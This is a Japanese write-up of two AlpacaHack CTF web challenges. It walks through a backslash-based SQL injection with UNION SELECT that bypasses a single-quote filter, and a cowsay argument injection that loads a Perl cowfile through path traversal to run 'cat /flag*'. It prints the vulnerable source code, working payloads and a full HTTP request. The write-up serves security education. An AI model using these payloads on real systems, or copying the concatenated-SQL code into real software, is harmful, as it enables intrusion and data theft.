https://alpacahack.com/ctfs/round-2
Single LoginはCTF初学者向けに割と細かく書きました。
Simple Login
pythonで書かれたwebサイトが与えられる。初手何をするかであるが、ソースコードが与えられているのでソースコードを読んで脆弱性を探していこう。サイトを巡回して脆弱性を探してみてもいいのだが、ソースコードが提供されている場合はソースコードを読んでサイトの機能や脆弱性、フラグの場所を把握していく方が良い。
ソースコード読み
では、ソースコードを読んでいこう。メインとなるapp.pyは以下の通り。
from flask import Flask, request, redirect, render_template import pymysql.cursors import os def db(): return pymysql.connect( host=os.environ["MYSQL_HOST"], user=os.environ["MYSQL_USER"], password=os.environ["MYSQL_PASSWORD"], database=os.environ["MYSQL_DATABASE"], charset="utf8mb4", cursorclass=pymysql.cursors.DictCursor, ) app = Flask(__name__) @app.get("/") def index(): if "username" not in request.cookies: return redirect("/login") return render_template("index.html", username=request.cookies["username"]) @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if username is None or password is None: return "Missing required parameters", 400 if len(username) > 64 or len(password) > 64: return "Too long parameters", 400 if "'" in username or "'" in password: return "Do not try SQL injection 🤗", 400 conn = None try: conn = db() with conn.cursor() as cursor: cursor.execute( f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" ) user = cursor.fetchone() except Exception as e: return f"Error: {e}", 500 finally: if conn is not None: conn.close() if user is None or "username" not in user: return "No user", 400 response = redirect("/") response.set_cookie("username", user["username"]) return response else: return render_template("login.html")
ざっくりとは3つエンドポイントが用意されている。
GET /
ログイン後にCookieに保存されたユーザー名を出力するGET /login
ログイン画面POST /
ログイン処理の実装
フラグがどこにあるかを探してみると、データベースに置かれていた。データベースの初期化に使われるSQLファイル init.sql は以下の通り。
USE chall; DROP TABLE IF EXISTS flag; CREATE TABLE IF NOT EXISTS flag ( value VARCHAR(128) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; -- On the remote server, a real flag is inserted. INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}'); DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users ( username VARCHAR(16) PRIMARY KEY, password VARCHAR(16) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; INSERT INTO users (username, password) VALUES ('admin', 'pass'); INSERT INTO users (username, password) VALUES ('hacker', '1337');
- flagテーブル:フラグが格納されている
- usersテーブル:ユーザー情報が格納されている
app.pyとinit.sqlを見るとWebサービス側でログイン処理にusersテーブルを利用しているが、flagテーブルは使われていない。一見、flagテーブルにある情報の取得は不可能なようにも見えるが、SQL Injectionという脆弱性を使えば別のテーブルであっても情報を抜き出すことができる。その方向性で考えていこう。
SQL Injection
注意:SQL Injectionとは何かの細かい説明はしないので、別の記事で学習してくることを推奨します。比較的細かく説明しますが、SQL Injectionの基礎が理解できている方がスムーズに読み進めることができます。
SQL InjectionのためにはSQLのクエリが動的に生成されている必要がある。SQLのクエリを生成している部分を見ると入力されたユーザー名・パスワードを使ってクエリ実行するために文字列結合で動的にクエリが作られていた。
cursor.execute( f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" )
ライブラリなどを使って無害化した状態で埋め込まず単純な文字列結合で埋め込まれているので、SQL Injectionできそう。'
を入力すればusername, passwordの文字列部分を抜け出すことができ、自由にSQL文を構築することができるのだが、以下の部分でusername, passwordに'
が含まれないことを検証していた。
if "'" in username or "'" in password: return "Do not try SQL injection 🤗", 400
ということで、ここからどうしようかなと考えるのが今回の難しいポイント。こういうブラックボックスでの対策は破られる運命にあるので、他にSQL Injectionできそうな手法が無いか探してみる。自分は今回紹介する回避方法は知っていたので、フィルターを見た瞬間解法を思いつき、First Bloodが取れた。そうでない場合に自分ならどうするだろうかという話を載せておく。
まずは、インターネットで手法を検索してみよう。例えばsql injection without single quote
と検索するとこういうページが見つかったりするし、日本語でSQLインジェクションの記事を見ていくとこういうページが見つかったりする。どちらのページにも今回紹介するテクニックが書かれている。
他に、より本質的な調査方針として、仕様を確認してみるという方向性もある。MySQLの文字列を抜け出すのに'
以外に良さそうな方針が無いか仕様を参照してみよう。文字列リテラルのサイトを見てみると、今回紹介するテクニックに関連する仕様を見つけることができる。
回り道をしたが、解法に戻ると、今回はbackslashを使ったテクニックを使うことができる。usernameを\
にして、passwordをor 1=1 #
にしてみよう。これには'
は含まれないのでフィルターを回避できる。これを使ってSQL文を作ると以下のようになる。
SELECT * FROM users WHERE username = '{username}' AND password = '{password}' + usernameを`\` passwordを` or 1=1 # ` = SELECT * FROM users WHERE username = '\' AND password = ' or 1=1 # '
ここでusernameの後ろの部分で\'
という部分ができている。これはMySQLの仕様によると文字列中に'
を表現する方法である。つまり、もともとは文字列の終端であった'
をbackslashを付けることで終端文字として解釈されないようにしている。よって、usernameの後ろの文字列の終端は元々passwordの後ろの文字列の開始として使われていた'
となり、埋め込み後は
SELECT * FROM users WHERE username = '[文字列]' or 1=1 ※ [文字列]は「\' AND password = 」 ※ 末尾の「# '」は末尾コメントとして解釈されるので無視
のように解釈される。これでusernameの状態が何であれ、orで連結された1=1
によってすべてのカラムが取得されるようになった。よって、usernameを\
にして、passwordをor 1=1 #
とすることでadminでログインできることが確認できるはずである。ここまで理解できていれば、フラグまではもうちょっと。
SQL Injectionを利用して別テーブルから情報を持って来る
今回はログインが目的ではなく、別のテーブルから情報を持って来るのが目標である。ログイン処理の後半部分を改めてみてみよう。
conn = None try: conn = db() with conn.cursor() as cursor: cursor.execute( f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" ) user = cursor.fetchone() except Exception as e: return f"Error: {e}", 500 finally: if conn is not None: conn.close() if user is None or "username" not in user: return "No user", 400 response = redirect("/") response.set_cookie("username", user["username"])
SQL文を実行した結果にusernameが含まれているか確認して、含まれていればそのusernameをCookieに入れている。(応答のSet-Cookieから持ってきてもいいが)GET /
でusernameが表示できるので、usernameとしてフラグを返すことを考えよう。このために便利なSQL構文としてunion句がある。
union句を使うことで別のテーブルの情報をマージして結果を返すことができるようになる。ベースはSELECT * FROM users
なので、テーブルの形はusername,password
の型になる。普通にSELECT value FROM flag
とするとカラムが1つになるので、適当にもう1つ付けてSELECT value,value FROM flag
をunionでくっつけることにしよう。
方針も決まったので答えを作っていく。まず、空の応答が帰るようにSQL Injectionを作るため、usernameを\
にして、passwordを#
にする。埋め込むと、
SELECT * FROM users WHERE username = '\' AND password = ' # '
となる。見にくいが、usernameが「' AND password = 」である行は存在せず、#以降はコメントで無視されるので、取得結果は
username | password ==============
のように結果が空となる。ここにunionでSELECT value,value FROM flag
をくっつける。つまり、usernameを\
にして、passwordをUNION SELECT value,value FROM flag #
とする。埋め込むと、
SELECT * FROM users WHERE username = '\' AND password = ' UNION SELECT value,value FROM flag # '
となる。これで
username | password ============== [flag] | [flag]
となるので、usernameにフラグを入れることが出来た。なので、これでログイン後にリダイレクトでGET /
が開かれるとフラグが表示される。
CaaS
javascriptで書かれたcowsayを実行するサイトが与えられる。ソースコードは簡潔で以下。
import express from "express"; import crypto from "node:crypto"; import { $ } from "zx"; const app = express(); const PORT = 3000; app.use(express.static("public")); app.get("/say", async (req, res) => { const { message = "Hello!" } = req.query; try { const uuid = crypto.randomUUID(); await $({ cwd: "public/out", timeout: "2s", })`/usr/games/cowsay ${message} > ${uuid}`; res.send({ uuid }); } catch ({ exitCode }) { res.status(500).send(exitCode ? "error" : "timeout"); } }); app.listen(PORT);
例えばmessageにHello!
とやると
________ < Hello! > -------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
と出てくる。フラグはルート直下に置かれているtxtファイルだが、ファイル名は乱数が付けられているのでRCEまでつなげる必要がある。
コマンド実行時にzxというライブラリが使われていて怪しいが、ライブラリレベルで単純なコマンドインジェクションは防止されている。他にパッと見て怪しい部分もなかった、以前Bunのシェル機能でエスケープを良い感じにかいくぐってRCEする問題がありとても雰囲気が似ていたこともあり、まずはガチャガチャやってみることにした。すると-b
を入れてみると、目が変化した。
__ < > -- \ ^__^ \ (==)\_______ (__)\ )\/\ ||----w | || ||
お。コマンドライン引数の指定ができそうである。manページを見てみると、-b
のフラグも書いてあった。manページを見るとcowfileというものがあり-f
で読み込むことができるとある。Cowfile Formatを見るとなんとperlで書かれているとのこと。どう動くか動かしてみよう。
$ echo 'exec("id");' > test.cow $ cowsay -f ./test.cow hoge uid=1000([redacted]) gid=1000([redacted]) groups=1000([redacted]),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),1001(docker)
いいですね。今回は、cowsayの結果が/app/public/out
に保存される。なので、cowsayの結果でありながら、Cowfileとして読み込めるものが作れれば任意のコマンドが実行できそうである。あとはエラーを頑張って取り除く。自分は運良く__END__
という便利構文が早々に見つかったので直ぐに構築できた。
$ cowsay 'exec("cat /flag*"); __END__' > payload.cow $ cat payload.cow _____________________________ < exec("cat /flag*"); __END__ > ----------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || $ cowsay -f ./payload.cow hoge flag{dummy}
ということで以下の手順でフラグが手に入る。
exec("cat /flag*"); __END__
でcowsayする。すると#50acabfa-bea3-4bcb-8b15-b910cf3a62b0
のようにファイル名が得られる- 次に
-f
フラグで実行するために以下のようなリクエストを送る。
GET /say?message[]=-f&message[]=..%2F..%2F..%2F..%2F..%2F..%2Fapp%2Fpublic%2Fout%2F50acabfa-bea3-4bcb-8b15-b910cf3a62b0&message[]=hoge HTTP/1.1 Host: 34.170.146.252:29943 Connection: keep-alive
messageではなくmessage[]で送っているのは、コマンドのスペースをそのままスペースで送るのではなく配列の形で送らないとちゃんと解釈されなかったためである。正直どういう理屈で配列だと動くのかは分かってない。実験すると出来た。
- 2で生成されたファイルを参照すると、
cat /flag*
の結果が入っている。GET /out/[手順2の出力]